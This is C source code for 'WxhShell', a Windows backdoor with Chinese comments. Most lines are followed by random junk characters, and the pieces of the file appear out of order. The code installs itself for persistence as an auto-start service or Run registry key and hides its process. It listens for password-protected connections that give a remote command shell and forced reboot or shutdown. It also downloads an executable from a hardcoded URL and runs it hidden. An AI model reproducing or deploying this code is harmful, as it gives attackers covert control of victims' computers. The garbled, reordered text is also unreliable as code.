    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^|i\d \  
    else { ^J~A+CEf"W  
    closesocket(wsh); Zbh]SF{3F  
    ExitThread(0); @EOR] ^?!]  
    } ^WW|AS  
    break; aX'g9E  
    } ;VlZd*M?  
  // 获取shell 1(7.V-(G  
  case 's': { >VUQTg  
    CmdShell(wsh); Dke($Jr{  
    closesocket(wsh); giPo;z\c  
    ExitThread(0); yki51rOI*  
    break; Y\Qxdq  
  } 'BdmFKy1  
  // 退出 Hu(flc+z"  
  case 'x': { Y!1^@;)^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2*q: ^  
    CloseIt(wsh); 0"qim0%|DF  
    break; Q}?N4kg  
    } ={E!8"  
  // 离开 io r [v  
  case 'q': { ;.Oh88|k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @f5@0A\0  
    closesocket(wsh); DkF2R @  
    WSACleanup(); ]pRfY9w  
    exit(1); n]C%(v!u3  
    break; 3ES[ N.V#  
        } -Xxu/U})%  
  } Ei9_h  
  } 1u"*09yZd  
vMZ7uO  
  // 提示信息 AXh3LA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gAr`hXO  
} Q f+p0E;  
  } <f.>jjwFE  
[71#@^ye  
  return; jq("D,  
} 42J';\)oP  
Q%n{*py  
// shell模块句柄 *bxJ)9B  
int CmdShell(SOCKET sock) MB8SB   
{ 4Ay`rG  
STARTUPINFO si; R7B,Q(q2-  
ZeroMemory(&si,sizeof(si)); % L >#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KM6N'x^z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /K,|k EE'n  
PROCESS_INFORMATION ProcessInfo; n-hvh-ZO  
char cmdline[]="cmd"; 'Uko^R)(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q$fRi[/L  
  return 0; o4/I1Mq  
} Q$3\ /mz  
1qLl^DW  
// 自身启动模式 `*" H/QG  
int StartFromService(void) &}nBenYp  
{ pM&]&Nk  
typedef struct &SjHrOG?  
{ *,W!FxJ  
  DWORD ExitStatus; BSfm?ku"!  
  DWORD PebBaseAddress; R81{<q'%X  
  DWORD AffinityMask; 2JiAd*WK  
  DWORD BasePriority; f2O*8^^Y{Q  
  ULONG UniqueProcessId; vv2vW=\  
  ULONG InheritedFromUniqueProcessId; M[YTk=IM#  
}   PROCESS_BASIC_INFORMATION; g5tjj.  
WxVn&c\  
PROCNTQSIP NtQueryInformationProcess; )D[ "M$ZA^  
&c!j`86y*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j{{~ZM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h"%|\o+3  
SZ5O89  
  HANDLE             hProcess; AV:Xg4UJv  
  PROCESS_BASIC_INFORMATION pbi; d~{jEg  
*xE"8pN/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W\@?e32  
  if(NULL == hInst ) return 0; pg~zUOY  
eg"=H50  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $J QWfGwR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =tr1*s{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q&XCX$N  
tZaD${  
  if (!NtQueryInformationProcess) return 0; V_&GYXx(J  
,vPe}OKj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _tWJXv~;  
  if(!hProcess) return 0; P%zH>K  
k}-yOP{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uY^v"cw/F  
Ps U9R#HL1  
  CloseHandle(hProcess); 1.# |QX  
 L5"8G,I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T4OguP=  
if(hProcess==NULL) return 0; J\het 2?\  
-DTB6}kw  
HMODULE hMod; Ts|--,  
char procName[255]; ;i<$7MR.e  
unsigned long cbNeeded; fCgBH~w,9  
i 8l./Yt/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q)09]hP[Xj  
0:Ar| to$m  
  CloseHandle(hProcess); tIq>Oojdx  
U't E^W  
if(strstr(procName,"services")) return 1; // 以服务启动 1 6"#i  
TT'Ofvdc  
  return 0; // 注册表启动 T}C2e! _O  
} <,\ `Psa)N  
LmP qLH'(Q  
// 主模块 U?gl"6x  
int StartWxhshell(LPSTR lpCmdLine)  )|v^9  
{ kmryu=  
  SOCKET wsl; Lp_$?MCD.  
BOOL val=TRUE; 0y)}.'  
  int port=0; ]b3/Es+  
  struct sockaddr_in door; _eGT2,D5r  
l^.K'Q1~a  
  if(wscfg.ws_autoins) Install(); Mr-DGLJ  
Y[2Wt%2\6  
port=atoi(lpCmdLine); /QQ8.8=5  
nSS>\$  
if(port<=0) port=wscfg.ws_port; h;-a`@rO ;  
Bs[nV}c>>  
  WSADATA data; f\fdg].!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +noZ<KFW "  
L'l F/qe^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zF8'i=b&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (:5G#?6,  
  door.sin_family = AF_INET; D3`}4 A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `-_N@E1'>  
  door.sin_port = htons(port);  9:5:`' b  
;imRh'-V6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n"6;\  
closesocket(wsl); Z?oG*G:  
return 1; #Z\ O}<  
}  B$^7h!  
cq*=|m0}Z  
  if(listen(wsl,2) == INVALID_SOCKET) { *5e+@rD`  
closesocket(wsl); M`vyTuO3SO  
return 1; Rs*v m  
} 6-B 9na  
  Wxhshell(wsl); Q.+|xwz  
  WSACleanup(); $+cAg >  
t|V0x3X  
return 0; *:_P8G;  
Y#FO5O%W  
} ][d,l\gu+s  
,Ol (piR  
// 以NT服务方式启动 HRB[GP+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QK; T~ _k  
{ EVt? C+  
DWORD   status = 0; ymWgf 6r<  
  DWORD   specificError = 0xfffffff; 1tB[_$s  
xY\ 0 zQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A5fwAB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ""{|3XJe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fQ 7vL~E  
  serviceStatus.dwWin32ExitCode     = 0; ~>5#5!}@*  
  serviceStatus.dwServiceSpecificExitCode = 0; C5W>W4EM  
  serviceStatus.dwCheckPoint       = 0; :B|Dr v  
  serviceStatus.dwWaitHint       = 0; :!fG; )=  
9b;A1gu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xf d*D  
  if (hServiceStatusHandle==0) return; LO:fJ{ -  
GX&b;N  
status = GetLastError(); F7MzCZvu  
  if (status!=NO_ERROR) ^V3v{>D>  
{ -x`G2i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K93p"nHN  
    serviceStatus.dwCheckPoint       = 0; !}KqB8;  
    serviceStatus.dwWaitHint       = 0; ] asBd"  
    serviceStatus.dwWin32ExitCode     = status; -n5 B)uw=  
    serviceStatus.dwServiceSpecificExitCode = specificError; !k&Q 5s:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nkDy!"K  
    return; xSK~s  
  } 8K9$,Ii  
%ZP+zh n}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rw7_5l  
  serviceStatus.dwCheckPoint       = 0; <#+44>h  
  serviceStatus.dwWaitHint       = 0; kJQ#Wz|z]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <3okiV=ox  
} FG@ -bV  
J#2!ZQE 3  
// 处理NT服务事件,比如:启动、停止 w}R~C   
VOID WINAPI NTServiceHandler(DWORD fdwControl) ww k PF  
{ 1w(JEqY3h:  
switch(fdwControl) BV`-=wRC  
{ 7piuLq+  
case SERVICE_CONTROL_STOP: l8h&|RY[  
  serviceStatus.dwWin32ExitCode = 0; TBrGA E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =*vMA#e  
  serviceStatus.dwCheckPoint   = 0; v%{.A)  
  serviceStatus.dwWaitHint     = 0; TXXy\$  
  { RW$:9~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Xvp6.:  
  } 4*.K'(S5fx  
  return; LPYbHo3fq  
case SERVICE_CONTROL_PAUSE: sOCs13A"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0c^>eq]  
  break; )6KMHG  
case SERVICE_CONTROL_CONTINUE: mo{MR:>)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s@hRqGd:  
  break; G rmzkNlN  
case SERVICE_CONTROL_INTERROGATE: 8vSse  
  break; 2lKV#9"  
}; KOz(TZ?u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wa=uUM_4u^  
} {gNV[45  
_p-t<ytnh  
// 标准应用程序主函数 SUKxkc(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .\0isO  
{ 38DT2<qC  
~9)"!   
// 获取操作系统版本 5 < wnva  
OsIsNt=GetOsVer(); -x8nQ%X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mGUO6>g  
5]I|DHmu  
  // 从命令行安装 ]ul$*  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZQ^r`W9_ +  
%CUGm$nH  
  // 下载执行文件 ZOXIT(mg  
if(wscfg.ws_downexe) { hQ6a~?f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z[\ O=1E,  
  WinExec(wscfg.ws_filenam,SW_HIDE); iRg7*MQu  
} Y HSYu  
?m$a6'2-,J  
if(!OsIsNt) { )[mwP.T=  
// 如果时win9x,隐藏进程并且设置为注册表启动 b^D$jY  
HideProc(); R8rfM?"W  
StartWxhshell(lpCmdLine); y2]-&]&  
} PHA-9\jC{  
else bY}eUL2i4  
  if(StartFromService()) Le<w R  
  // 以服务方式启动 63`{.yZ*z  
  StartServiceCtrlDispatcher(DispatchTable); wC `+  
else +w@M~?>  
  // 普通方式启动 lrf v+  
  StartWxhshell(lpCmdLine); |-V&O=!^+  
h~{aGo  
return 0; H$G0`LP0/a  
} fwK}/0%  
sY?,0T_m  
pV4Whq$  
AU-n&uX  
=========================================== |6=p{ y  
nhIa175'  
Og=*R6i  
,g%&|FAP  
f2,jh}4  
"#(T  
" Hwo$tVa:=  
F u&EhGm6  
#include <stdio.h> nqwAQhzy(  
#include <string.h> PJcwH6m  
#include <windows.h> gTA%uRBa  
#include <winsock2.h> DjSbyXvrg  
#include <winsvc.h> Or !+._3i  
#include <urlmon.h> ~ek$C  
+}f9   
#pragma comment (lib, "Ws2_32.lib") @as"JAN  
#pragma comment (lib, "urlmon.lib") ?c0xRO%y  
JyR/1 W  
#define MAX_USER   100 // 最大客户端连接数 (@iMLuewK  
#define BUF_SOCK   200 // sock buffer 71vkyn@"  
#define KEY_BUFF   255 // 输入 buffer (' -JY  
V+I|1{@i0  
#define REBOOT     0   // 重启 C@jJ.^ <<  
#define SHUTDOWN   1   // 关机 Qt vYv!  
z{Mr$%'EY  
#define DEF_PORT   5000 // 监听端口 UI>Y0O  
a33TPoj  
#define REG_LEN     16   // 注册表键长度 h6} lpd  
#define SVC_LEN     80   // NT服务名长度 u|4$+ QiD  
=0;^(/1Mc  
// 从dll定义API nu'M 39{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'uq#ai[5I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X^WrccNX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rk)##)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B" 3dQwQ  
(PfqRk1Y  
// wxhshell配置信息 i+gQE!  
struct WSCFG { @xB*KyUW  
  int ws_port;         // 监听端口 /="~gq@  
  char ws_passstr[REG_LEN]; // 口令  A^p[52`  
  int ws_autoins;       // 安装标记, 1=yes 0=no xhRngHU\z<  
  char ws_regname[REG_LEN]; // 注册表键名 wC5ee:u C%  
  char ws_svcname[REG_LEN]; // 服务名 WJ_IuX51'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CZ nOui  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;\p KDPr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q7"7U=W0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Gu- uuy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?2>FdtH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1&e} ms  
NMA}Q$o s  
}; +zy=50,   
$^@)  
// default Wxhshell configuration R+Y4|  
struct WSCFG wscfg={DEF_PORT, s+Q~~]HJM  
    "xuhuanlingzhe", g&`pgmUX  
    1, 4Z/f@ZD  
    "Wxhshell", +Z85HY{  
    "Wxhshell", ;&ASkI  
            "WxhShell Service", :H c0b=  
    "Wrsky Windows CmdShell Service", HeG)/W?r  
    "Please Input Your Password: ", i\dc>C ;  
  1, ~q~MoN<R  
  "http://www.wrsky.com/wxhshell.exe", Dq)j:f#QM  
  "Wxhshell.exe" c 9jGq  
    }; z@wMc EH  
P LueVz  
// 消息定义模块 *W kIq>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9 -rNw?7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xKFn.qFr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hiUD]5Kp  
char *msg_ws_ext="\n\rExit."; yR4|S2D3xn  
char *msg_ws_end="\n\rQuit."; 8HP6+c%  
char *msg_ws_boot="\n\rReboot..."; Op_RzZP`  
char *msg_ws_poff="\n\rShutdown..."; G>q(iF'  
char *msg_ws_down="\n\rSave to "; ?2oHZ%G  
SI=yI-  
char *msg_ws_err="\n\rErr!"; U{VCZ*0cj  
char *msg_ws_ok="\n\rOK!"; AhNq/?Q Q~  
KjQR$-  
char ExeFile[MAX_PATH]; 5:kH;/U  
int nUser = 0; G8;w{-{m  
HANDLE handles[MAX_USER]; fXcm|U,ho  
int OsIsNt; =" g*\s?r  
YJo["Q  
SERVICE_STATUS       serviceStatus; X@f "-\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qs QNjt  
q#8 [  
// 函数声明 )LyojwY_g  
int Install(void); qBCK40   
int Uninstall(void); VhNz8)  
int DownloadFile(char *sURL, SOCKET wsh); ^g`&7tX  
int Boot(int flag); d,=r 9.  
void HideProc(void); z-b*D}&  
int GetOsVer(void); B:+6~&,-  
int Wxhshell(SOCKET wsl); -*XCxU'  
void TalkWithClient(void *cs); _~T!9  
int CmdShell(SOCKET sock); -k"^o!p  
int StartFromService(void); V,G|k!!  
int StartWxhshell(LPSTR lpCmdLine); u5Ftu?t  
/IM#.v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /;utcc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D &/L:  
('hE r~&  
// 数据结构和表定义 IzpZwx^3''  
SERVICE_TABLE_ENTRY DispatchTable[] = 1+U  
{ YxP@!U9dE,  
{wscfg.ws_svcname, NTServiceMain}, kJ Mf  
{NULL, NULL} R<=zCE`:  
}; mzf+Cu:` v  
Sx8OhUyux  
// 自我安装 t>[KVVg W  
int Install(void) rhb@FE)Mc  
{ 4'LB7}WG  
  char svExeFile[MAX_PATH]; yd?x= |  
  HKEY key; F  3'9u#  
  strcpy(svExeFile,ExeFile); %,k] [V  
;asP4R=  
// 如果是win9x系统,修改注册表设为自启动 a! u rew#  
if(!OsIsNt) { ~PHB_cyth  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =%> oR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WuZ/C_  
  RegCloseKey(key); 6MxKl D7kl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r!{LLc}>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ryFxn|4  
  RegCloseKey(key); 1M}&ZH  
  return 0; ^J\~XYg{7  
    } .fdL&z  
  } Vl2XDkhq  
} [Ts"OPb% ~  
else { qvv2O1c"A  
E_bO9nRHV  
// 如果是NT以上系统,安装为系统服务 HO' '&hz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R?p00  
if (schSCManager!=0) wW/7F;54  
{  &CG*)bE  
  SC_HANDLE schService = CreateService H8'Z#"h  
  ( @-&s: Qli  
  schSCManager, l}lIi8  
  wscfg.ws_svcname, u3o#{~E/#  
  wscfg.ws_svcdisp, Y}vr>\  
  SERVICE_ALL_ACCESS, [o<VVtB.Gk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'gt-s547  
  SERVICE_AUTO_START, + Q6l*:<|c  
  SERVICE_ERROR_NORMAL, Rv/Bh< t  
  svExeFile, :,DM*zBV p  
  NULL, uZ=NSbYsA  
  NULL, Q"7Gy<  
  NULL, ?Sb8@S&J  
  NULL, %:2+ o'  
  NULL %zO h  
  ); Zt3)]sB  
  if (schService!=0) \~5C7^_  
  { |eWjYGwJa  
  CloseServiceHandle(schService); A|@_}h"WG  
  CloseServiceHandle(schSCManager); Q[d}J+l4{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :Pv*, qHE  
  strcat(svExeFile,wscfg.ws_svcname); wGZR31  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =2 *rA'im  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rgOfNVyJG<  
  RegCloseKey(key); 9Fr3pRIJ  
  return 0; V._(q^  
    } BY]i;GVq  
  } xrN &N_K#  
  CloseServiceHandle(schSCManager); k`x=D5s\  
} Wy%s1iu  
} y7|P-3[ 4w  
?Q72;/$  
return 1; yA3wtm/?  
} R9! Uo  
|> _!eS\=<  
// 自我卸载 0JD~M\-!^a  
int Uninstall(void) X~xd/M=9^  
{ ]K*8O <  
  HKEY key; SKW%X8  
3<=G?of  
if(!OsIsNt) { >[1W:KQA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _A0mxq  
  RegDeleteValue(key,wscfg.ws_regname); RO3oP1@B  
  RegCloseKey(key); s<]&*e&}?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :#lIx%l  
  RegDeleteValue(key,wscfg.ws_regname); x[Wwq=~  
  RegCloseKey(key); aceZ3U>W  
  return 0; w\19[U3  
  } Gxa x2o  
} @p|$/Z%R,  
} `4 y]Z)  
else { $ F S_E  
c   c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q_vW3xz  
if (schSCManager!=0) ~RD+.A  
{ 3or\:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~j'l.gQb  
  if (schService!=0) :ah 5`nmPO  
  { v{ <[)cr  
  if(DeleteService(schService)!=0) { SAY f'[|w  
  CloseServiceHandle(schService); @WKzX41'  
  CloseServiceHandle(schSCManager); d` Sr4c  
  return 0; WX4;l(P L=  
  } dr<<!q /  
  CloseServiceHandle(schService); ayBRWT0  
  } -<#!DjV6(  
  CloseServiceHandle(schSCManager); >5 b/or  
} DS xUdEK6  
} 5%}wV,Y  
\sA*V%n  
return 1; _Zc%z@}  
} ,Os? f:Y6  
Xq4|uuS-O  
// 从指定url下载文件 !JBae2Z  
int DownloadFile(char *sURL, SOCKET wsh) vOgC>_x7  
{ 7}_!  
  HRESULT hr; |7@O( $b  
char seps[]= "/"; xE-7P|2  
char *token; %/.a]j!  
char *file; -@&1`@):{  
char myURL[MAX_PATH]; 90xk$3(  
char myFILE[MAX_PATH]; Q# ?wXX47  
tU/k-W3X  
strcpy(myURL,sURL); >ulY7~wUv  
  token=strtok(myURL,seps); $c&0F,   
  while(token!=NULL) #;# 3%?  
  { +([!A6:  
    file=token; z}Jr^>  
  token=strtok(NULL,seps); @InZ<AW>|  
  } t_ur&.^SB  
5HS~op2n/  
GetCurrentDirectory(MAX_PATH,myFILE); k8]O65t|  
strcat(myFILE, "\\"); Wn|&cG9  
strcat(myFILE, file); GYB+RU}],  
  send(wsh,myFILE,strlen(myFILE),0); NV r0M?`4  
send(wsh,"...",3,0); Ov82ibp_1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qju`e Eo  
  if(hr==S_OK) Tx%VU8\?n  
return 0; rgcWRt  
else fYrGpW( `  
return 1; insY(.N  
B8I4[@m>w\  
} as"N=\N  
0F;,O3Q  
// 系统电源模块 B ?%L  
int Boot(int flag) ;,O fJ'q^  
{ vs&8wbS)  
  HANDLE hToken; kD.pzx EM  
  TOKEN_PRIVILEGES tkp; f*xpE`&  
Cpx+qQt0  
  if(OsIsNt) { y~<@x.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `&$B3)Eb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pz doqAVI  
    tkp.PrivilegeCount = 1; EqM;LgE=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tu%[p 4   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bb=uF1  
if(flag==REBOOT) { ")lw9t`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $1*3!}_0  
  return 0; 0NO1M)HQv  
} 7uI#L}y  
else { v vE\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vi {uy  
  return 0; %kU'hzLg  
} J^3H7 ]  
  } X,v4d~>]  
  else { q'(z #h,cv  
if(flag==REBOOT) { "2Op[~V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }C(5-7  
  return 0; d$;/T('  
} W."f 8ow  
else { E(L<L1:"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) et$uP  
  return 0; ( v#pj8aE  
} [>w%CY<Fd  
} !E& MBAKy  
t%+$" nP  
return 1;  U w Eiz  
} #s+X+fe  
0rzVy/Z(  
// win9x进程隐藏模块 u.6P-yh  
void HideProc(void) [!?wyv3  
{ ,8 6K  
j Selop>N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  93w~.p  
  if ( hKernel != NULL ) YBSl-G'  
  { MEU[%hty_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,d 7Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +Z+ExS<#z  
    FreeLibrary(hKernel); A4_>LO_qL  
  } #@_ 1fE  
Q\#UWsN(T/  
return; &=-PRza%j  
} %D^bah f  
v.`+I-\.z)  
// 获取操作系统版本 ~Fx&)kegTo  
int GetOsVer(void) *bZ\@Qm  
{ 5G? .T?  
  OSVERSIONINFO winfo; `-D$Fsl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k|#Zy,  
  GetVersionEx(&winfo); +"L$ed(=nJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @}eNV~ROu  
  return 1; 0$2={s4ze  
  else P^(.tr3t  
  return 0; !0dX@V'r  
} J~dTVBx  
.;slrg(5F  
// 客户端句柄模块 $Q4=37H+  
int Wxhshell(SOCKET wsl) BE%Z\E[[m  
{ t F/nah  
  SOCKET wsh; &"AQ; %&N  
  struct sockaddr_in client; I*c;hfu  
  DWORD myID; VR v02m5  
n2E4!L|q  
  while(nUser<MAX_USER) 0 pNo`Bm  
{ 5&qY3@I7l  
  int nSize=sizeof(client); yfq>,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6UI>GQ  
  if(wsh==INVALID_SOCKET) return 1; Ws>i)6[  
YOKR//|3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +:y&{K  
if(handles[nUser]==0) Ps7_-cH  
  closesocket(wsh); jZ/+~{<  
else R2Yl)2 D  
  nUser++; -eq =4N=s  
  } eE,;K1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p5`ZyD ]+  
1 mHk =J~  
  return 0; tGqQJT#mr7  
} 1t%<5O;R  
^yD"d =z  
// 关闭 socket r\bq[9dX>  
void CloseIt(SOCKET wsh) =g[H]-Ee  
{ 7%YYr^d  
closesocket(wsh); qSR? ,G  
nUser--; ?N2X)Y@yi  
ExitThread(0); uOb2npPj  
} XqX I(q^  
b_l.QKk  
// 客户端请求句柄 &*ZC0V3  
void TalkWithClient(void *cs) &]*|6cR$E  
{ taixBNv  
^ `E@/<w8  
  SOCKET wsh=(SOCKET)cs; Y8t Nwh  
  char pwd[SVC_LEN]; 4UazD_`'  
  char cmd[KEY_BUFF]; gTuX *7w  
char chr[1]; pr)K{~m]{<  
int i,j; 9Yd-m  
j^rYFS w:Q  
  while (nUser < MAX_USER) { ,NDxFy;d  
7Qt2gf  
if(wscfg.ws_passstr) { FQQ@kP$.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tgK x4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =;g=GcVK  
  //ZeroMemory(pwd,KEY_BUFF); +=Yk-nJ  
      i=0; {QW-g  
  while(i<SVC_LEN) { C*$|#.l  
B0S8vU  
  // 设置超时 O<bDU0s{M  
  fd_set FdRead; FE>3 D1\  
  struct timeval TimeOut; .r(^h/IF  
  FD_ZERO(&FdRead); wd"TM  
  FD_SET(wsh,&FdRead); `|uoqKv  
  TimeOut.tv_sec=8; 5nY9Ls(e  
  TimeOut.tv_usec=0; mQFa/7FX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u1wg C#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QZ?O;K1|y  
9armirfV'P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i+U@\:=  
  pwd=chr[0]; Th_Q owk  
  if(chr[0]==0xd || chr[0]==0xa) { n#)PvV~  
  pwd=0; qjJ{+Rz2  
  break; *O!T!J  
  } Ck:#1-t8{  
  i++; o; 6fvn  
    } c{^i$  
:EYu 4Y  
  // 如果是非法用户,关闭 socket QCVsVG!sN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #_on{I  
} l t&$8jh  
Oi6f8*,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kboizJp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P"oYC$  
P\Ai|"=&]  
while(1) { =DGn,i9  
mx:J>SPA8  
  ZeroMemory(cmd,KEY_BUFF); t1G1(F#&%  
[0h* &  
      // 自动支持客户端 telnet标准   >6*(}L9  
  j=0; ?s1u#'aO  
  while(j<KEY_BUFF) { XulaPq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =X)Q7u".7  
  cmd[j]=chr[0]; y;zt_O/  
  if(chr[0]==0xa || chr[0]==0xd) { dMey/A/VYt  
  cmd[j]=0; 0m]~J_   
  break; m(8jSGV  
  }  )GB3=@  
  j++; R)sp  
    } Oqd"0Qt-  
-iY9GN89c  
  // 下载文件 ERUs0na]  
  if(strstr(cmd,"http://")) { XRClBTKF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c-[Q,c  
  if(DownloadFile(cmd,wsh)) M(_^'3u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }f<fgY  
  else FE0qw1{qQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |h#DL$  
  } N>uA|<b,  
  else { 8O"x;3I9  
0C lX  
    switch(cmd[0]) { ${jA+L<J  
  ?l)}E  
  // 帮助 yq/[/*7^  
  case '?': { LFk5rv'sM0  
